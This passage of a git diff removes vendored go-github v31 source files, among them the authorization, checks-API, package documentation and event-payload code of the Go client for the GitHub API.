nil { - return nil, resp, err - } - - return a, resp, nil -} - -// Revoke an authorization for an application. -// -// Note that this operation requires the use of BasicAuth, but where the -// username is the OAuth application clientID, and the password is its -// clientSecret. Invalid tokens will return a 404 Not Found. -// -// GitHub API docs: https://developer.github.com/v3/apps/oauth_applications/#delete-an-app-token -func (s *AuthorizationsService) Revoke(ctx context.Context, clientID, accessToken string) (*Response, error) { - u := fmt.Sprintf("applications/%v/token", clientID) - - reqBody := &struct { - AccessToken string `json:"access_token"` - }{AccessToken: accessToken} - - req, err := s.client.NewRequest("DELETE", u, reqBody) - if err != nil { - return nil, err - } - req.Header.Set("Accept", mediaTypeOAuthAppPreview) - - return s.client.Do(ctx, req, nil) -} - -// DeleteGrant deletes an OAuth application grant. Deleting an application's -// grant will also delete all OAuth tokens associated with the application for -// the user. -// -// GitHub API docs: https://developer.github.com/v3/apps/oauth_applications/#delete-an-app-authorization -func (s *AuthorizationsService) DeleteGrant(ctx context.Context, clientID, accessToken string) (*Response, error) { - u := fmt.Sprintf("applications/%v/grant", clientID) - - reqBody := &struct { - AccessToken string `json:"access_token"` - }{AccessToken: accessToken} - - req, err := s.client.NewRequest("DELETE", u, reqBody) - if err != nil { - return nil, err - } - req.Header.Set("Accept", mediaTypeOAuthAppPreview) - - return s.client.Do(ctx, req, nil) -} - -// CreateImpersonation creates an impersonation OAuth token. -// -// This requires admin permissions. With the returned Authorization.Token -// you can e.g. create or delete a user's public SSH key. NOTE: creating a -// new token automatically revokes an existing one. -// -// GitHub API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#create-an-impersonation-oauth-token -func (s *AuthorizationsService) CreateImpersonation(ctx context.Context, username string, authReq *AuthorizationRequest) (*Authorization, *Response, error) { - u := fmt.Sprintf("admin/users/%v/authorizations", username) - req, err := s.client.NewRequest("POST", u, authReq) - if err != nil { - return nil, nil, err - } - - a := new(Authorization) - resp, err := s.client.Do(ctx, req, a) - if err != nil { - return nil, resp, err - } - return a, resp, nil -} - -// DeleteImpersonation deletes an impersonation OAuth token. -// -// NOTE: there can be only one at a time. -// -// GitHub API docs: https://developer.github.com/enterprise/v3/enterprise-admin/users/#delete-an-impersonation-oauth-token -func (s *AuthorizationsService) DeleteImpersonation(ctx context.Context, username string) (*Response, error) { - u := fmt.Sprintf("admin/users/%v/authorizations", username) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/checks.go b/vendor/github.com/google/go-github/v31/github/checks.go deleted file mode 100644 index 8d08cb39fb..0000000000 --- a/vendor/github.com/google/go-github/v31/github/checks.go +++ /dev/null @@ -1,433 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ChecksService provides access to the Checks API in the -// GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/checks/ -type ChecksService service - -// CheckRun represents a GitHub check run on a repository associated with a GitHub app. -type CheckRun struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - HeadSHA *string `json:"head_sha,omitempty"` - ExternalID *string `json:"external_id,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - DetailsURL *string `json:"details_url,omitempty"` - Status *string `json:"status,omitempty"` - Conclusion *string `json:"conclusion,omitempty"` - StartedAt *Timestamp `json:"started_at,omitempty"` - CompletedAt *Timestamp `json:"completed_at,omitempty"` - Output *CheckRunOutput `json:"output,omitempty"` - Name *string `json:"name,omitempty"` - CheckSuite *CheckSuite `json:"check_suite,omitempty"` - App *App `json:"app,omitempty"` - PullRequests []*PullRequest `json:"pull_requests,omitempty"` -} - -// CheckRunOutput represents the output of a CheckRun. -type CheckRunOutput struct { - Title *string `json:"title,omitempty"` - Summary *string `json:"summary,omitempty"` - Text *string `json:"text,omitempty"` - AnnotationsCount *int `json:"annotations_count,omitempty"` - AnnotationsURL *string `json:"annotations_url,omitempty"` - Annotations []*CheckRunAnnotation `json:"annotations,omitempty"` - Images []*CheckRunImage `json:"images,omitempty"` -} - -// CheckRunAnnotation represents an annotation object for a CheckRun output. -type CheckRunAnnotation struct { - Path *string `json:"path,omitempty"` - StartLine *int `json:"start_line,omitempty"` - EndLine *int `json:"end_line,omitempty"` - StartColumn *int `json:"start_column,omitempty"` - EndColumn *int `json:"end_column,omitempty"` - AnnotationLevel *string `json:"annotation_level,omitempty"` - Message *string `json:"message,omitempty"` - Title *string `json:"title,omitempty"` - RawDetails *string `json:"raw_details,omitempty"` -} - -// CheckRunImage represents an image object for a CheckRun output. -type CheckRunImage struct { - Alt *string `json:"alt,omitempty"` - ImageURL *string `json:"image_url,omitempty"` - Caption *string `json:"caption,omitempty"` -} - -// CheckSuite represents a suite of check runs. -type CheckSuite struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - HeadBranch *string `json:"head_branch,omitempty"` - HeadSHA *string `json:"head_sha,omitempty"` - URL *string `json:"url,omitempty"` - BeforeSHA *string `json:"before,omitempty"` - AfterSHA *string `json:"after,omitempty"` - Status *string `json:"status,omitempty"` - Conclusion *string `json:"conclusion,omitempty"` - App *App `json:"app,omitempty"` - Repository *Repository `json:"repository,omitempty"` - PullRequests []*PullRequest `json:"pull_requests,omitempty"` - - // The following fields are only populated by Webhook events. - HeadCommit *Commit `json:"head_commit,omitempty"` -} - -func (c CheckRun) String() string { - return Stringify(c) -} - -func (c CheckSuite) String() string { - return Stringify(c) -} - -// GetCheckRun gets a check-run for a repository. -// -// GitHub API docs: https://developer.github.com/v3/checks/runs/#get-a-check-run -func (s *ChecksService) GetCheckRun(ctx context.Context, owner, repo string, checkRunID int64) (*CheckRun, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/check-runs/%v", owner, repo, checkRunID) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - checkRun := new(CheckRun) - resp, err := s.client.Do(ctx, req, checkRun) - if err != nil { - return nil, resp, err - } - - return checkRun, resp, nil -} - -// GetCheckSuite gets a single check suite. -// -// GitHub API docs: https://developer.github.com/v3/checks/suites/#get-a-check-suite -func (s *ChecksService) GetCheckSuite(ctx context.Context, owner, repo string, checkSuiteID int64) (*CheckSuite, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/check-suites/%v", owner, repo, checkSuiteID) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - checkSuite := new(CheckSuite) - resp, err := s.client.Do(ctx, req, checkSuite) - if err != nil { - return nil, resp, err - } - - return checkSuite, resp, nil -} - -// CreateCheckRunOptions sets up parameters needed to create a CheckRun. -type CreateCheckRunOptions struct { - Name string `json:"name"` // The name of the check (e.g., "code-coverage"). (Required.) - HeadSHA string `json:"head_sha"` // The SHA of the commit. (Required.) - DetailsURL *string `json:"details_url,omitempty"` // The URL of the integrator's site that has the full details of the check. (Optional.) - ExternalID *string `json:"external_id,omitempty"` // A reference for the run on the integrator's system. (Optional.) - Status *string `json:"status,omitempty"` // The current status. Can be one of "queued", "in_progress", or "completed". Default: "queued". (Optional.) - Conclusion *string `json:"conclusion,omitempty"` // Can be one of "success", "failure", "neutral", "cancelled", "timed_out", or "action_required". (Optional. Required if you provide a status of "completed".) - StartedAt *Timestamp `json:"started_at,omitempty"` // The time that the check run began. (Optional.) - CompletedAt *Timestamp `json:"completed_at,omitempty"` // The time the check completed. (Optional. Required if you provide conclusion.) - Output *CheckRunOutput `json:"output,omitempty"` // Provide descriptive details about the run. (Optional) - Actions []*CheckRunAction `json:"actions,omitempty"` // Possible further actions the integrator can perform, which a user may trigger. (Optional.) -} - -// CheckRunAction exposes further actions the integrator can perform, which a user may trigger. -type CheckRunAction struct { - Label string `json:"label"` // The text to be displayed on a button in the web UI. The maximum size is 20 characters. (Required.) - Description string `json:"description"` // A short explanation of what this action would do. The maximum size is 40 characters. (Required.) - Identifier string `json:"identifier"` // A reference for the action on the integrator's system. The maximum size is 20 characters. (Required.) -} - -// CreateCheckRun creates a check run for repository. -// -// GitHub API docs: https://developer.github.com/v3/checks/runs/#create-a-check-run -func (s *ChecksService) CreateCheckRun(ctx context.Context, owner, repo string, opts CreateCheckRunOptions) (*CheckRun, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/check-runs", owner, repo) - req, err := s.client.NewRequest("POST", u, opts) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - checkRun := new(CheckRun) - resp, err := s.client.Do(ctx, req, checkRun) - if err != nil { - return nil, resp, err - } - - return checkRun, resp, nil -} - -// UpdateCheckRunOptions sets up parameters needed to update a CheckRun. -type UpdateCheckRunOptions struct { - Name string `json:"name"` // The name of the check (e.g., "code-coverage"). (Required.) - HeadSHA *string `json:"head_sha,omitempty"` // The SHA of the commit. (Optional.) - DetailsURL *string `json:"details_url,omitempty"` // The URL of the integrator's site that has the full details of the check. (Optional.) - ExternalID *string `json:"external_id,omitempty"` // A reference for the run on the integrator's system. (Optional.) - Status *string `json:"status,omitempty"` // The current status. Can be one of "queued", "in_progress", or "completed". Default: "queued". (Optional.) - Conclusion *string `json:"conclusion,omitempty"` // Can be one of "success", "failure", "neutral", "cancelled", "timed_out", or "action_required". (Optional. Required if you provide a status of "completed".) - CompletedAt *Timestamp `json:"completed_at,omitempty"` // The time the check completed. (Optional. Required if you provide conclusion.) - Output *CheckRunOutput `json:"output,omitempty"` // Provide descriptive details about the run. (Optional) - Actions []*CheckRunAction `json:"actions,omitempty"` // Possible further actions the integrator can perform, which a user may trigger. (Optional.) -} - -// UpdateCheckRun updates a check run for a specific commit in a repository. -// -// GitHub API docs: https://developer.github.com/v3/checks/runs/#update-a-check-run -func (s *ChecksService) UpdateCheckRun(ctx context.Context, owner, repo string, checkRunID int64, opts UpdateCheckRunOptions) (*CheckRun, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/check-runs/%v", owner, repo, checkRunID) - req, err := s.client.NewRequest("PATCH", u, opts) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - checkRun := new(CheckRun) - resp, err := s.client.Do(ctx, req, checkRun) - if err != nil { - return nil, resp, err - } - - return checkRun, resp, nil -} - -// ListCheckRunAnnotations lists the annotations for a check run. -// -// GitHub API docs: https://developer.github.com/v3/checks/runs/#list-check-run-annotations -func (s *ChecksService) ListCheckRunAnnotations(ctx context.Context, owner, repo string, checkRunID int64, opts *ListOptions) ([]*CheckRunAnnotation, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/check-runs/%v/annotations", owner, repo, checkRunID) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - var checkRunAnnotations []*CheckRunAnnotation - resp, err := s.client.Do(ctx, req, &checkRunAnnotations) - if err != nil { - return nil, resp, err - } - - return checkRunAnnotations, resp, nil -} - -// ListCheckRunsOptions represents parameters to list check runs. -type ListCheckRunsOptions struct { - CheckName *string `url:"check_name,omitempty"` // Returns check runs with the specified name. - Status *string `url:"status,omitempty"` // Returns check runs with the specified status. Can be one of "queued", "in_progress", or "completed". - Filter *string `url:"filter,omitempty"` // Filters check runs by their completed_at timestamp. Can be one of "latest" (returning the most recent check runs) or "all". Default: "latest" - - ListOptions -} - -// ListCheckRunsResults represents the result of a check run list. -type ListCheckRunsResults struct { - Total *int `json:"total_count,omitempty"` - CheckRuns []*CheckRun `json:"check_runs,omitempty"` -} - -// ListCheckRunsForRef lists check runs for a specific ref. -// -// GitHub API docs: https://developer.github.com/v3/checks/runs/#list-check-runs-for-a-git-reference -func (s *ChecksService) ListCheckRunsForRef(ctx context.Context, owner, repo, ref string, opts *ListCheckRunsOptions) (*ListCheckRunsResults, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v/check-runs", owner, repo, refURLEscape(ref)) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - var checkRunResults *ListCheckRunsResults - resp, err := s.client.Do(ctx, req, &checkRunResults) - if err != nil { - return nil, resp, err - } - - return checkRunResults, resp, nil -} - -// ListCheckRunsCheckSuite lists check runs for a check suite. -// -// GitHub API docs: https://developer.github.com/v3/checks/runs/#list-check-runs-in-a-check-suite -func (s *ChecksService) ListCheckRunsCheckSuite(ctx context.Context, owner, repo string, checkSuiteID int64, opts *ListCheckRunsOptions) (*ListCheckRunsResults, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/check-suites/%v/check-runs", owner, repo, checkSuiteID) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - var checkRunResults *ListCheckRunsResults - resp, err := s.client.Do(ctx, req, &checkRunResults) - if err != nil { - return nil, resp, err - } - - return checkRunResults, resp, nil -} - -// ListCheckSuiteOptions represents parameters to list check suites. -type ListCheckSuiteOptions struct { - CheckName *string `url:"check_name,omitempty"` // Filters checks suites by the name of the check run. - AppID *int `url:"app_id,omitempty"` // Filters check suites by GitHub App id. - - ListOptions -} - -// ListCheckSuiteResults represents the result of a check run list. -type ListCheckSuiteResults struct { - Total *int `json:"total_count,omitempty"` - CheckSuites []*CheckSuite `json:"check_suites,omitempty"` -} - -// ListCheckSuitesForRef lists check suite for a specific ref. -// -// GitHub API docs: https://developer.github.com/v3/checks/suites/#list-check-suites-for-a-git-reference -func (s *ChecksService) ListCheckSuitesForRef(ctx context.Context, owner, repo, ref string, opts *ListCheckSuiteOptions) (*ListCheckSuiteResults, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v/check-suites", owner, repo, refURLEscape(ref)) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - var checkSuiteResults *ListCheckSuiteResults - resp, err := s.client.Do(ctx, req, &checkSuiteResults) - if err != nil { - return nil, resp, err - } - - return checkSuiteResults, resp, nil -} - -// AutoTriggerCheck enables or disables automatic creation of CheckSuite events upon pushes to the repository. -type AutoTriggerCheck struct { - AppID *int64 `json:"app_id,omitempty"` // The id of the GitHub App. (Required.) - Setting *bool `json:"setting,omitempty"` // Set to "true" to enable automatic creation of CheckSuite events upon pushes to the repository, or "false" to disable them. Default: "true" (Required.) -} - -// CheckSuitePreferenceOptions set options for check suite preferences for a repository. -type CheckSuitePreferenceOptions struct { - AutoTriggerChecks []*AutoTriggerCheck `json:"auto_trigger_checks,omitempty"` // A slice of auto trigger checks that can be set for a check suite in a repository. -} - -// CheckSuitePreferenceResults represents the results of the preference set operation. -type CheckSuitePreferenceResults struct { - Preferences *PreferenceList `json:"preferences,omitempty"` - Repository *Repository `json:"repository,omitempty"` -} - -// PreferenceList represents a list of auto trigger checks for repository -type PreferenceList struct { - AutoTriggerChecks []*AutoTriggerCheck `json:"auto_trigger_checks,omitempty"` // A slice of auto trigger checks that can be set for a check suite in a repository. -} - -// SetCheckSuitePreferences changes the default automatic flow when creating check suites. -// -// GitHub API docs: https://developer.github.com/v3/checks/suites/#update-repository-preferences-for-check-suites -func (s *ChecksService) SetCheckSuitePreferences(ctx context.Context, owner, repo string, opts CheckSuitePreferenceOptions) (*CheckSuitePreferenceResults, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/check-suites/preferences", owner, repo) - req, err := s.client.NewRequest("PATCH", u, opts) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - var checkSuitePrefResults *CheckSuitePreferenceResults - resp, err := s.client.Do(ctx, req, &checkSuitePrefResults) - if err != nil { - return nil, resp, err - } - - return checkSuitePrefResults, resp, nil -} - -// CreateCheckSuiteOptions sets up parameters to manually create a check suites -type CreateCheckSuiteOptions struct { - HeadSHA string `json:"head_sha"` // The sha of the head commit. (Required.) - HeadBranch *string `json:"head_branch,omitempty"` // The name of the head branch where the code changes are implemented. -} - -// CreateCheckSuite manually creates a check suite for a repository. -// -// GitHub API docs: https://developer.github.com/v3/checks/suites/#create-a-check-suite -func (s *ChecksService) CreateCheckSuite(ctx context.Context, owner, repo string, opts CreateCheckSuiteOptions) (*CheckSuite, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/check-suites", owner, repo) - req, err := s.client.NewRequest("POST", u, opts) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - checkSuite := new(CheckSuite) - resp, err := s.client.Do(ctx, req, checkSuite) - if err != nil { - return nil, resp, err - } - - return checkSuite, resp, nil -} - -// ReRequestCheckSuite triggers GitHub to rerequest an existing check suite, without pushing new code to a repository. -// -// GitHub API docs: https://developer.github.com/v3/checks/suites/#rerequest-a-check-suite -func (s *ChecksService) ReRequestCheckSuite(ctx context.Context, owner, repo string, checkSuiteID int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/check-suites/%v/rerequest", owner, repo, checkSuiteID) - - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, err - } - - req.Header.Set("Accept", mediaTypeCheckRunsPreview) - - resp, err := s.client.Do(ctx, req, nil) - return resp, err -} diff --git a/vendor/github.com/google/go-github/v31/github/doc.go b/vendor/github.com/google/go-github/v31/github/doc.go deleted file mode 100644 index c2f0b9cd83..0000000000 --- a/vendor/github.com/google/go-github/v31/github/doc.go +++ /dev/null @@ -1,188 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -/* -Package github provides a client for using the GitHub API. - -Usage: - - import "github.com/google/go-github/v31/github" // with go modules enabled (GO111MODULE=on or outside GOPATH) - import "github.com/google/go-github/github" // with go modules disabled - -Construct a new GitHub client, then use the various services on the client to -access different parts of the GitHub API. For example: - - client := github.NewClient(nil) - - // list all organizations for user "willnorris" - orgs, _, err := client.Organizations.List(ctx, "willnorris", nil) - -Some API methods have optional parameters that can be passed. For example: - - client := github.NewClient(nil) - - // list public repositories for org "github" - opt := &github.RepositoryListByOrgOptions{Type: "public"} - repos, _, err := client.Repositories.ListByOrg(ctx, "github", opt) - -The services of a client divide the API into logical chunks and correspond to -the structure of the GitHub API documentation at -https://developer.github.com/v3/. - -NOTE: Using the https://godoc.org/context package, one can easily -pass cancelation signals and deadlines to various services of the client for -handling a request. In case there is no context available, then context.Background() -can be used as a starting point. - -For more sample code snippets, head over to the https://github.com/google/go-github/tree/master/example directory. - -Authentication - -The go-github library does not directly handle authentication. Instead, when -creating a new client, pass an http.Client that can handle authentication for -you. The easiest and recommended way to do this is using the golang.org/x/oauth2 -library, but you can always use any other library that provides an http.Client. -If you have an OAuth2 access token (for example, a personal API token), you can -use it with the oauth2 library using: - - import "golang.org/x/oauth2" - - func main() { - ctx := context.Background() - ts := oauth2.StaticTokenSource( - &oauth2.Token{AccessToken: "... your access token ..."}, - ) - tc := oauth2.NewClient(ctx, ts) - - client := github.NewClient(tc) - - // list all repositories for the authenticated user - repos, _, err := client.Repositories.List(ctx, "", nil) - } - -Note that when using an authenticated Client, all calls made by the client will -include the specified OAuth token. Therefore, authenticated clients should -almost never be shared between different users. - -See the oauth2 docs for complete instructions on using that library. - -For API methods that require HTTP Basic Authentication, use the -BasicAuthTransport. - -GitHub Apps authentication can be provided by the -https://github.com/bradleyfalzon/ghinstallation package. - - import "github.com/bradleyfalzon/ghinstallation" - - func main() { - // Wrap the shared transport for use with the integration ID 1 authenticating with installation ID 99. - itr, err := ghinstallation.NewKeyFromFile(http.DefaultTransport, 1, 99, "2016-10-19.private-key.pem") - if err != nil { - // Handle error. - } - - // Use installation transport with client - client := github.NewClient(&http.Client{Transport: itr}) - - // Use client... - } - -Rate Limiting - -GitHub imposes a rate limit on all API clients. Unauthenticated clients are -limited to 60 requests per hour, while authenticated clients can make up to -5,000 requests per hour. The Search API has a custom rate limit. Unauthenticated -clients are limited to 10 requests per minute, while authenticated clients -can make up to 30 requests per minute. To receive the higher rate limit when -making calls that are not issued on behalf of a user, -use UnauthenticatedRateLimitedTransport. - -The returned Response.Rate value contains the rate limit information -from the most recent API call. If a recent enough response isn't -available, you can use RateLimits to fetch the most up-to-date rate -limit data for the client. - -To detect an API rate limit error, you can check if its type is *github.RateLimitError: - - repos, _, err := client.Repositories.List(ctx, "", nil) - if _, ok := err.(*github.RateLimitError); ok { - log.Println("hit rate limit") - } - -Learn more about GitHub rate limiting at -https://developer.github.com/v3/#rate-limiting. - -Accepted Status - -Some endpoints may return a 202 Accepted status code, meaning that the -information required is not yet ready and was scheduled to be gathered on -the GitHub side. Methods known to behave like this are documented specifying -this behavior. - -To detect this condition of error, you can check if its type is -*github.AcceptedError: - - stats, _, err := client.Repositories.ListContributorsStats(ctx, org, repo) - if _, ok := err.(*github.AcceptedError); ok { - log.Println("scheduled on GitHub side") - } - -Conditional Requests - -The GitHub API has good support for conditional requests which will help -prevent you from burning through your rate limit, as well as help speed up your -application. go-github does not handle conditional requests directly, but is -instead designed to work with a caching http.Transport. We recommend using -https://github.com/gregjones/httpcache for that. - -Learn more about GitHub conditional requests at -https://developer.github.com/v3/#conditional-requests. - -Creating and Updating Resources - -All structs for GitHub resources use pointer values for all non-repeated fields. -This allows distinguishing between unset fields and those set to a zero-value. -Helper functions have been provided to easily create these pointers for string, -bool, and int values. For example: - - // create a new private repository named "foo" - repo := &github.Repository{ - Name: github.String("foo"), - Private: github.Bool(true), - } - client.Repositories.Create(ctx, "", repo) - -Users who have worked with protocol buffers should find this pattern familiar. - -Pagination - -All requests for resource collections (repos, pull requests, issues, etc.) -support pagination. Pagination options are described in the -github.ListOptions struct and passed to the list methods directly or as an -embedded type of a more specific list options struct (for example -github.PullRequestListOptions). Pages information is available via the -github.Response struct. - - client := github.NewClient(nil) - - opt := &github.RepositoryListByOrgOptions{ - ListOptions: github.ListOptions{PerPage: 10}, - } - // get all pages of results - var allRepos []*github.Repository - for { - repos, resp, err := client.Repositories.ListByOrg(ctx, "github", opt) - if err != nil { - return err - } - allRepos = append(allRepos, repos...) - if resp.NextPage == 0 { - break - } - opt.Page = resp.NextPage - } - -*/ -package github diff --git a/vendor/github.com/google/go-github/v31/github/event.go b/vendor/github.com/google/go-github/v31/github/event.go deleted file mode 100644 index 848fa6daee..0000000000 --- a/vendor/github.com/google/go-github/v31/github/event.go +++ /dev/null @@ -1,136 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "encoding/json" - "time" -) - -// Event represents a GitHub event. -type Event struct { - Type *string `json:"type,omitempty"` - Public *bool `json:"public,omitempty"` - RawPayload *json.RawMessage `json:"payload,omitempty"` - Repo *Repository `json:"repo,omitempty"` - Actor *User `json:"actor,omitempty"` - Org *Organization `json:"org,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - ID *string `json:"id,omitempty"` -} - -func (e Event) String() string { - return Stringify(e) -} - -// ParsePayload parses the event payload. For recognized event types, -// a value of the corresponding struct type will be returned. -func (e *Event) ParsePayload() (payload interface{}, err error) { - switch *e.Type { - case "CheckRunEvent": - payload = &CheckRunEvent{} - case "CheckSuiteEvent": - payload = &CheckSuiteEvent{} - case "CommitCommentEvent": - payload = &CommitCommentEvent{} - case "CreateEvent": - payload = &CreateEvent{} - case "DeleteEvent": - payload = &DeleteEvent{} - case "DeployKeyEvent": - payload = &DeployKeyEvent{} - case "DeploymentEvent": - payload = &DeploymentEvent{} - case "DeploymentStatusEvent": - payload = &DeploymentStatusEvent{} - case "ForkEvent": - payload = &ForkEvent{} - case "GitHubAppAuthorizationEvent": - payload = &GitHubAppAuthorizationEvent{} - case "GollumEvent": - payload = &GollumEvent{} - case "InstallationEvent": - payload = &InstallationEvent{} - case "InstallationRepositoriesEvent": - payload = &InstallationRepositoriesEvent{} - case "IssueCommentEvent": - payload = &IssueCommentEvent{} - case "IssuesEvent": - payload = &IssuesEvent{} - case "LabelEvent": - payload = &LabelEvent{} - case "MarketplacePurchaseEvent": - payload = &MarketplacePurchaseEvent{} - case "MemberEvent": - payload = &MemberEvent{} - case "MembershipEvent": - payload = &MembershipEvent{} - case "MetaEvent": - payload = &MetaEvent{} - case "MilestoneEvent": - payload = &MilestoneEvent{} - case "OrganizationEvent": - payload = &OrganizationEvent{} - case "OrgBlockEvent": - payload = &OrgBlockEvent{} - case "PageBuildEvent": - payload = &PageBuildEvent{} - case "PingEvent": - payload = &PingEvent{} - case "ProjectEvent": - payload = &ProjectEvent{} - case "ProjectCardEvent": - payload = &ProjectCardEvent{} - case "ProjectColumnEvent": - payload = &ProjectColumnEvent{} - case "PublicEvent": - payload = &PublicEvent{} - case "PullRequestEvent": - payload = &PullRequestEvent{} - case "PullRequestReviewEvent": - payload = &PullRequestReviewEvent{} - case "PullRequestReviewCommentEvent": - payload = &PullRequestReviewCommentEvent{} - case "PushEvent": - payload = &PushEvent{} - case "ReleaseEvent": - payload = &ReleaseEvent{} - case "RepositoryEvent": - payload = &RepositoryEvent{} - case "RepositoryDispatchEvent": - payload = &RepositoryDispatchEvent{} - case "RepositoryVulnerabilityAlertEvent": - payload = &RepositoryVulnerabilityAlertEvent{} - case "StarEvent": - payload = &StarEvent{} - case "StatusEvent": - payload = &StatusEvent{} - case "TeamEvent": - payload = &TeamEvent{} - case "TeamAddEvent": - payload = &TeamAddEvent{} - case "UserEvent": - payload = &UserEvent{} - case "WatchEvent": - payload = &WatchEvent{} - } - err = json.Unmarshal(*e.RawPayload, &payload) - return payload, err -} - -// Payload returns the parsed event payload. For recognized event types, -// a value of the corresponding struct type will be returned. -// -// Deprecated: Use ParsePayload instead, which returns an error -// rather than panics if JSON unmarshaling raw payload fails. -func (e *Event) Payload() (payload interface{}) { - var err error - payload, err = e.ParsePayload() - if err != nil { - panic(err) - } - return payload -} diff --git a/vendor/github.com/google/go-github/v31/github/event_types.go b/vendor/github.com/google/go-github/v31/github/event_types.go deleted file mode 100644 index 2c18de6c13..0000000000 --- a/vendor/github.com/google/go-github/v31/github/event_types.go +++ /dev/null @@ -1,928 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// These event types are shared between the Events API and used as Webhook payloads. - -package github - -import "encoding/json" - -// RequestedAction is included in a CheckRunEvent when a user has invoked an action, -// i.e. when the CheckRunEvent's Action field is "requested_action". -type RequestedAction struct { - Identifier string `json:"identifier"` // The integrator reference of the action requested by the user. -} - -// CheckRunEvent is triggered when a check run is "created", "updated", or "rerequested". -// The Webhook event name is "check_run". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#checkrunevent -type CheckRunEvent struct { - CheckRun *CheckRun `json:"check_run,omitempty"` - // The action performed. Possible values are: "created", "updated", "rerequested" or "requested_action". - Action *string `json:"action,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` - - // The action requested by the user. Populated when the Action is "requested_action". - RequestedAction *RequestedAction `json:"requested_action,omitempty"` // -} - -// CheckSuiteEvent is triggered when a check suite is "completed", "requested", or "rerequested". -// The Webhook event name is "check_suite". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#checksuiteevent -type CheckSuiteEvent struct { - CheckSuite *CheckSuite `json:"check_suite,omitempty"` - // The action performed. Possible values are: "completed", "requested" or "rerequested". - Action *string `json:"action,omitempty"` - - // The following fields are only populated by Webhook events. - Repo *Repository `json:"repository,omitempty"` - Org *Organization `json:"organization,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// CommitCommentEvent is triggered when a commit comment is created. -// The Webhook event name is "commit_comment". -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#commitcommentevent -type CommitCommentEvent struct { - Comment *RepositoryComment `json:"comment,omitempty"` - - // The following fields are only populated by Webhook events. - Action *string `json:"action,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// CreateEvent represents a created repository, branch, or tag. -// The Webhook event name is "create". -// -// Note: webhooks will not receive this event for created repositories. -// Additionally, webhooks will not receive this event for tags if more -// than three tags are pushed at once. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#createevent -type CreateEvent struct { - Ref *string `json:"ref,omitempty"` - // RefType is the object that was created. Possible values are: "repository", "branch", "tag". - RefType *string `json:"ref_type,omitempty"` - MasterBranch *string `json:"master_branch,omitempty"` - Description *string `json:"description,omitempty"` - - // The following fields are only populated by Webhook events. - PusherType *string `json:"pusher_type,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` - Installation *Installation `json:"installation,omitempty"` -} - -// DeleteEvent represents a deleted branch or tag. -// The Webhook event name is "delete". -// -// Note: webhooks will not receive this event for tags if more than three tags -// are deleted at once. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/types/#deleteevent -type DeleteEvent struct { - Ref *string `json:"ref,omitempty"` - // RefType is the object that was deleted. 